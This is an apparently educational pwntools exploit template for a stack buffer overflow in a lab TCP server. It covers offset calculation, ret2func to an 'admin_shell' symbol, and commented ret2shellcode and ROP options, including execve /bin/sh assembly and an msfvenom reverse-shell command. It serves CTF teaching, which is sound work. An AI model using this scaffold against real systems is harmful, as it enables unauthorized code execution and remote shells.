#!/usr/bin/env python3 """ exploit-template.py.txt ======================== EDUCATIONAL EXPLOIT TEMPLATE — NOT A WORKING EXPLOIT For use in authorized CTF / lab environments only. FOR EDUCATIONAL USE IN AUTHORIZED TESTING ENVIRONMENTS ONLY. This is a pwntools exploit skeleton for a stack-based buffer overflow targeting a vulnerable TCP server. All payload sections are placeholders. Students should fill in the TODOs based on their analysis of the target binary. Requirements: pip install pwntools Usage (in a lab environment): python3 exploit-template.py LOCAL python3 exploit-template.py REMOTE """ import sys # TODO: Install pwntools in your lab environment # pip install pwntools from pwn import * # ============================================================================ # CONFIGURATION — Update these values based on your target analysis # ============================================================================ # Path to the local binary (for local testing and symbol resolution) BINARY_PATH = "./vuln_server" # Remote target (for CTF challenges) REMOTE_HOST = "challenge.ctf.example.com" REMOTE_PORT = 9999 # TODO: Determine the exact offset from buffer start to saved return address. # Method 1: Use cyclic pattern # payload = cyclic(200) # # Send to target, read crash address from core dump # # offset = cyclic_find() # Method 2: Manual calculation # buffer_size + saved_rbp_size = 64 + 8 = 72 (for x86-64) OFFSET_TO_RIP = 72 # TODO: Verify this offset for your target # ============================================================================ # SETUP — Binary analysis and connection # ============================================================================ # Set architecture context (auto-detected from binary if available) try: context.binary = elf = ELF(BINARY_PATH) context.log_level = "info" log.info(f"Binary: {elf.path}") log.info(f"Arch: {elf.arch}") log.info(f"Bits: {elf.bits}") log.info(f"PIE: {'Yes' if elf.pie else 'No'}") except FileNotFoundError: log.warning(f"Binary not found at {BINARY_PATH} -- using manual context") context.arch = "amd64" context.os = "linux" context.log_level = "info" elf = None # ============================================================================ # CONNECTION — Local process or remote target # ============================================================================ def get_connection(): """Establish connection to the target (local or remote).""" if len(sys.argv) > 1 and sys.argv[1] == "REMOTE": host = sys.argv[2] if len(sys.argv) > 2 else REMOTE_HOST port = int(sys.argv[3]) if len(sys.argv) > 3 else REMOTE_PORT log.info(f"Connecting to remote target {host}:{port}") return remote(host, port) else: log.info(f"Starting local process: {BINARY_PATH}") # TODO: Uncomment gdb.attach line below to debug interactively p = process(BINARY_PATH) # gdb.attach(p, ''' # break handle_client # continue # ''') return p # ============================================================================ # EXPLOIT PAYLOAD CONSTRUCTION # ============================================================================ def build_payload(): """ Construct the exploit payload. Stack layout (x86-64, high to low addresses): [function arguments] [return address] <-- we overwrite this (offset 72) [saved RBP] <-- we overwrite this (offset 64) [local buffer - 64B] <-- our input starts here """ # --- Stage 1: Padding to reach return address --- padding = b"A" * OFFSET_TO_RIP log.info(f"Padding: {OFFSET_TO_RIP} bytes") # --- Stage 2: Return address --- # TODO: Choose ONE of the following strategies and fill in the address. # Strategy A: Redirect to an existing function (e.g., admin_shell) # Find address with: objdump -d vuln_server | grep admin_shell # Or with pwntools: elf.symbols['admin_shell'] if elf and "admin_shell" in elf.symbols: ret_addr = p64(elf.symbols["admin_shell"]) log.info(f"Target: admin_shell @ {hex(elf.symbols['admin_shell'])}") else: ret_addr = p64(0xDEADBEEF) # TODO: Replace with actual address log.warning("Using placeholder address -- update before running!") # Strategy B: Return to shellcode on the stack (requires execstack) # TODO: Determine the stack address where your NOP sled lands. # Use GDB to inspect RSP after overflow: # (gdb) break *handle_client+ # (gdb) x/32gx $rsp # STACK_ADDR = 0x7fffffffe4c0 # TODO: Find via debugging # ret_addr = p64(STACK_ADDR) # Strategy C: ROP chain (for NX-enabled binaries) # TODO: Build a ROP chain using available gadgets # rop = ROP(elf) # rop.call('system', [next(elf.search(b'/bin/sh'))]) # ret_addr = rop.chain() # --- Stage 3: NOP sled (for shellcode strategy only) --- # The NOP sled gives a margin of error for the return address. # The CPU executes NOPs (0x90) harmlessly until reaching shellcode. NOP_SLED_SIZE = 64 # TODO: Adjust based on available space nop_sled = b"\x90" * NOP_SLED_SIZE # --- Stage 4: Shellcode placeholder --- # INSERT SHELLCODE HERE - for authorized testing only # # TODO: Generate shellcode for your target architecture. # Option 1 - pwntools shellcraft: # shellcode = asm(shellcraft.sh()) # shellcode = asm(shellcraft.cat('/flag.txt')) # Option 2 - msfvenom: # msfvenom -p linux/x64/shell_reverse_tcp \ # LHOST= LPORT=4444 -f python -b '\x00' # Option 3 - Custom assembly: # shellcode = asm(''' # xor rdi, rdi # push rdi # mov rdi, 0x68732f6e69622f # push rdi # mov rdi, rsp # xor esi, esi # xor edx, edx # mov al, 59 # syscall # ''') # # IMPORTANT: Ensure shellcode does not contain bad characters # Common bad chars: \x00 (null), \x0a (newline), \x0d (carriage return) shellcode = b"" # TODO: Replace with actual shellcode for your lab # --- Assemble the final payload --- # For Strategy A (ret2func): just padding + return address payload = padding + ret_addr # For Strategy B (ret2shellcode): uncomment below # payload = padding + ret_addr + nop_sled + shellcode # For Strategy C (ROP): uncomment below # payload = padding + ret_addr # ret_addr is already the full ROP chain log.info(f"Total payload size: {len(payload)} bytes") return payload # ============================================================================ # EXPLOIT EXECUTION # ============================================================================ def exploit(): """Send the payload and interact with the target.""" conn = get_connection() # Wait for the server prompt # TODO: Update the expected prompt string for your target conn.recvuntil(b"Enter your message: ") # Build and send the exploit payload payload = build_payload() log.info("Sending payload...") conn.sendline(payload) # If exploitation succeeds, drop into an interactive shell log.success("Payload sent -- switching to interactive mode") log.info("Type commands to interact with the target") log.info("Press Ctrl+C to exit") try: conn.interactive() except KeyboardInterrupt: log.info("Session closed by user") finally: conn.close() # ============================================================================ # MAIN # ============================================================================ if __name__ == "__main__": print("=" * 70) print(" EDUCATIONAL EXPLOIT TEMPLATE") print(" FOR AUTHORIZED TESTING ENVIRONMENTS ONLY") print("=" * 70) print() if len(sys.argv) > 1 and sys.argv[1] == "--help": print("Usage:") print(f" python3 {sys.argv[0]} LOCAL # Attack local binary") print(f" python3 {sys.argv[0]} REMOTE # Attack remote target") print() print("Prerequisites:") print(" 1. pip install pwntools") print(" 2. Update OFFSET_TO_RIP for your target") print(" 3. Choose a return address strategy") print(" 4. Generate appropriate shellcode (if needed)") sys.exit(0) exploit()